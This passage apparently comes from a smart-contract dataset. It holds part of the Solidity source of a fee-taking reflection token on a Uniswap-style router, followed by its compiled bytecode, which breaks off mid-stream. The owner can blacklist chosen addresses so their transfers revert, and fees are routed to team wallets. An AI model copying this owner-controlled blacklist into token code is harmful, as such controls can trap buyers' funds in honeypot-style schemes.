uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063c3c8cd8011610064578063c3c8cd801461066f578063c49b9a8014610686578063c9567bf9146106c3578063d543dbeb146106da578063dd62ed3e146107155761012a565b8063715018a6146104515780638da5cb5b1461046857806395d89b41146104a9578063a9059cbb14610539578063b515566a146105aa5761012a565b8063313ce567116100e7578063313ce5671461033d5780634a74bb021461036b5780635932ead1146103985780636fc3eaec146103d557806370a08231146103ec5761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b5061014461079a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107ba565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456107d8565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e9565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c2565b005b34801561034957600080fd5b506103526109e5565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103806109ee565b60405180821515815260200191505060405180910390f35b3480156103a457600080fd5b506103d3600480360360208110156103bb57600080fd5b81019080803515159060200190929190505050610a01565b005b3480156103e157600080fd5b506103ea610ae6565b005b3480156103f857600080fd5b5061043b6004803603602081101561040f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b58565b6040518082815260200191505060405180910390f35b34801561045d57600080fd5b50610466610c43565b005b34801561047457600080fd5b5061047d610dc9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104b557600080fd5b506104be610df2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104fe5780820151818401526020810190506104e3565b50505050905090810190601f16801561052b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561054557600080fd5b506105926004803603604081101561055c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e2f565b60405180821515815260200191505060405180910390f35b3480156105b657600080fd5b5061066d600480360360208110156105cd57600080fd5b81019080803590602001906401000000008111156105ea57600080fd5b8201836020820111156105fc57600080fd5b8035906020019184602083028401116401000000008311171561061e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610e4d565b005b34801561067b57600080fd5b50610684610f9d565b005b34801561069257600080fd5b506106c1600480360360208110156106a957600080fd5b81019080803515159060200190929190505050611017565b005b3480156106cf57600080fd5b506106d86110fc565b005b3480156106e657600080fd5b50610713600480360360208110156106fd57600080fd5b8101908080359060200190929190505050611779565b005b34801561072157600080fd5b506107846004803603604081101561073857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611928565b6040518082815260200191505060405180910390f35b6060604051806060016040528060358152602001613e4660359139905090565b60006107ce6107c76119af565b84846119b7565b6001905092915050565b6000683635c9adc5dea00000905090565b60006107f6848484611bae565b6108b7846108026119af565b6108b285604051806060016040528060288152602001613e9c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108686119af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123d99092919063ffffffff16565b6119b7565b600190509392505050565b6108ca6119af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461098a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601260149054906101000a900460ff1681565b610a096119af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b276119af565b73ffffffffffffffffffffffffffffffffffffffff1614610b4757600080fd5b6000479050610b5581612499565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610bf357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610c3e565b610c3b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612594565b90505b919050565b610c4b6119af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d0b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f464f545200000000000000000000000000000000000000000000000000000000815250905090565b6000610e43610e3c6119af565b8484611bae565b6001905092915050565b610e556119af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f9957600160076000848481518110610f3357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610f18565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fde6119af565b73ffffffffffffffffffffffffffffffffffffffff1614610ffe57600080fd5b600061100930610b58565b905061101481612618565b50565b61101f6119af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601260146101000a81548160ff02191690831515021790555050565b6111046119af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff1615611247576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b60007310ed43c718714eb63d5aa57b78b54704e256024e905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112d730601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006119b7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561131d57600080fd5b505afa158015611331573d6000803e3d6000fd5b505050506040513d602081101561134757600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ba57600080fd5b505afa1580156113ce573d6000803e3d6000fd5b505050506040513d60208110156113e457600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561145e57600080fd5b505af1158015611472573d6000803e3d6000fd5b505050506040513d602081101561148857600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061152230610b58565b60008061152d610dc9565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115b257600080fd5b505af11580156115c6573d6000803e3d6000fd5b50505050506040513d60608110156115dd57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550678ac7230489e800006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561173a57600080fd5b505af115801561174e573d6000803e3d6000fd5b505050506040513d602081101561176457600080fd5b81019080805190602001909291905050505050565b6117816119af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611841576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600081116118b7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b6118e660646118d883683635c9adc5dea0000061290290919063ffffffff16565b61298890919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f126024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613e246022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613eed6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613dd76023913960400191505060405180910390fd5b60008111611d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613ec46029913960400191505060405180910390fd5b611d1b610dc9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d895750611d59610dc9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561231657601360179054906101000a900460ff1615611fef573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e0b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e655750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ebf5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611fee57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f056119af565b73ffffffffffffffffffffffffffffffffffffffff161480611f7b5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f636119af565b73ffffffffffffffffffffffffffffffffffffffff16145b611fed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b601454811115611ffe57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156120a25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6120ab57600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121565750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121ac5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121c45750601360179054906101000a900460ff165b1561225c5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061221457600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061226730610b58565b9050601360159054906101000a900460ff161580156122d45750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156122ec5750601360169054906101000a900460ff165b15612314576122fa81612618565b600047905060008111156123125761231147612499565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123bd5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123c757600090505b6123d3848484846129d2565b50505050565b6000838311158290612486576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561244b578082015181840152602081019050612430565b50505050905090810190601f1680156124785780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124e960028461298890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612514573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256560028461298890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612590573d6000803e3d6000fd5b5050565b6000600a548211156125f1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613dfa602a913960400191505060405180910390fd5b60006125fb612c29565b9050612610818461298890919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561264d57600080fd5b5060405190808252806020026020018201604052801561267c5781602001602082028036833780820191505090505b509050308160008151811061268d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561272f57600080fd5b505afa158015612743573d6000803e3d6000fd5b505050506040513d602081101561275957600080fd5b81019080805190602001909291905050508160018151811061277757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127de30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846119b7565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156128a2578082015181840152602081019050612887565b505050509050019650505050505050600060405180830381600087803b1580156128cb57600080fd5b505af11580156128df573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129155760009050612982565b600082840290508284828161292657fe5b041461297d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613e7b6021913960400191505060405180910390fd5b809150505b92915050565b60006129ca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612c54565b905092915050565b806129e0576129df612d1a565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a835750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612a9857612a93848484612d5d565b612c15565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612b3b5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5057612b4b848484612fbd565b612c14565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612bf25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c0757612c0284848461321d565b612c13565b612c12848484613512565b5b5b5b80612c2357612c226136dd565b5b50505050565b6000806000612c366136f1565b91509150612c4d818361298890919063ffffffff16565b9250505090565b60008083118290612d00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612cc5578082015181840152602081019050612caa565b50505050905090810190601f168015612cf25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d0c57fe5b049050809150509392505050565b6000600c54148015612d2e57506000600d54145b15612d3857612d5b565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612d6f8761399e565b955095509550955095509550612dcd87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a0690919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e6286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a0690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ef785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f4381613ad8565b612f4d8483613c7d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612fcf8761399e565b95509550955095509550955061302d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a0690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130c283600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5090919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061315785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131a381613ad8565b6131ad8483613c7d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061322f8761399e565b95509550955095509550955061328d87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a0690919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061332286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a0690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133b783600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5090919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061344c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061349881613ad8565b6134a28483613c7d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135248761399e565b95509550955095509550955061358286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1